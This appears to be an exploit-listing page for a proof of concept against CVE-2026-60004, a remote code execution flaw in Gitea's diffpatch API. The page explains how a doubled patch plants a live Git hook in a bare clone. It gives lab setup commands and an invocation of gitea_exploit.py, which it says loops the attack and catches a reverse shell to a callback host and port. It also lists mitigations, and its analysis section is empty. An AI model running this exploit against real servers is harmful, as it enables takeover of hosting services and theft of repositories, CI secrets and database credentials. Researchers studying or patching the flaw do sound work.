## https://sploitus.com/exploit?id=CB40F3F7-9D78-5B14-AD62-07A1BB8C74C2
# CVE-2026-60004 Gitea diffpatch RCE
β
CVE-2026-60004 Gitea `diffpatch` Git Hook RCE PoC β
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
# Overview
> **CVE-2026-60004** is a **Remote Code Execution (RCE)** vulnerability in **Gitea**.
> The `diffpatch` API applies a supplied patch with `git apply --cached`, which should only touch the index and never write files to disk.
> By sending the **same patch twice**, an attacker forces an add/add collision that triggers Git's **three-way merge fallback (`-3`)**. That path ignores `--cached` and checks the file out to the working tree.
> Because the temporary clone is **bare**, its working tree root is `$GIT_DIR`. A patch that creates an executable `hooks/post-index-change` therefore lands a live Git hook, which Git runs automatically on the next index update β executing commands as the Gitea service account.
> The endpoint needs repository write access, but registration is enabled by default, so any user who can sign up and create a repository can reach it.
# Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Gitea **1.17 β€ version β€ 1.27.0** |
| **Patched** | Gitea **1.27.1 or later** |
# Impact
- Remote Code Execution as the Gitea service account (`git`)
- Access to all hosted repositories, CI secrets, and database credentials
# Environment
Build and run the vulnerable Gitea environment. Registration is left open and the
server ships Git 2.32+, which enables the `-3` fallback the attack relies on.
```bash
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
```
| Precondition | State in this lab |
|---|---|
| Gitea 1.17 β 1.27.0 | 1.27.0 |
| Git 2.32+ on the server (enables `-3`) | 2.54 |
| Open registration | enabled (default) |
| Repository write access | via self-registered account |
# PoC
The exploit is fully automated by `gitea_exploit.py`. Given an account that can
create a repository, it **creates the target repo, submits the same patch
repeatedly until Git's `-3` fallback fires, and catches the reverse shell with a
built-in listener** β no manual setup, patch crafting, or blob-hash math needed.
```bash
# python3 gitea_exploit.py [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
```
The `-3` fallback only fires in certain timing windows, so the script loops
create β send β send until it catches (default 25 attempts). When a send blocks,
the hook has fired and the listener drops you into a shell as `git`:
```
[*] attempt 3/25 -> send#1 201, send#2 timeout
# Mitigation
- Upgrade Gitea to 1.27.1 or later
- Disable open registration if not required (`DISABLE_REGISTRATION=true`)
- Restrict who can reach the instance and create repositories
# Analysis
- KR: Coming soon!
- EN: